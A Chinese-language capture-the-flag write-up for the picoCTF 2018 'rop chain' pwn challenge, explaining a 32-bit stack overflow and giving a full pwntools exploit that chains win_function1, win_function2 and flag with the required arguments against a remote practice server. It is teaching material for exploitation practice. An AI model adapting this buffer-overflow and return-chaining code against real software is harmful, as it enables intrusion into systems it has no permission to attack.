picoctf_2018_rop chain
检查保护机制,32位,开NX

IDA打开
main函数,里面发现vuln函数


漏洞点:没有限制输入字符串长度
然后发现了一个flag函数,仔细查看后发现这是一个后门函数

win_function1函数

win_function2函数

解题思路
需要注意点就是,有个判断 条件if ( win1 && win2 && a1 == -559039827 ),需要控制win1、win2、a1
win1、win2可以通过调用对应的函数进行赋值,而a1是作为flag函数的参数,在栈上构造好数据即可
先对win1赋值,使win1=1
然后当win_function2的参数a1=-1163220307,对win2进行赋值,win2=1
解题过程
exp
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "i386", log_level= "debug")
p = remote("node4.buuoj.cn", 28400)
win_function1 = 0x080485CB
win_function2 = 0x080485D8
flag = 0x0804862B
payload = "a" * 0x1c
payload += p32(win_function1)
payload += p32(win_function2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
p.sendlineafter("input> ", payload)
p.interactive()
注:
0xBAAAAAAD是-1163220307对应的16进制的补码作为win_function2函数的参数
0xDEADBAAD是-559039827对应的16进制的补码作为flag函数的参数
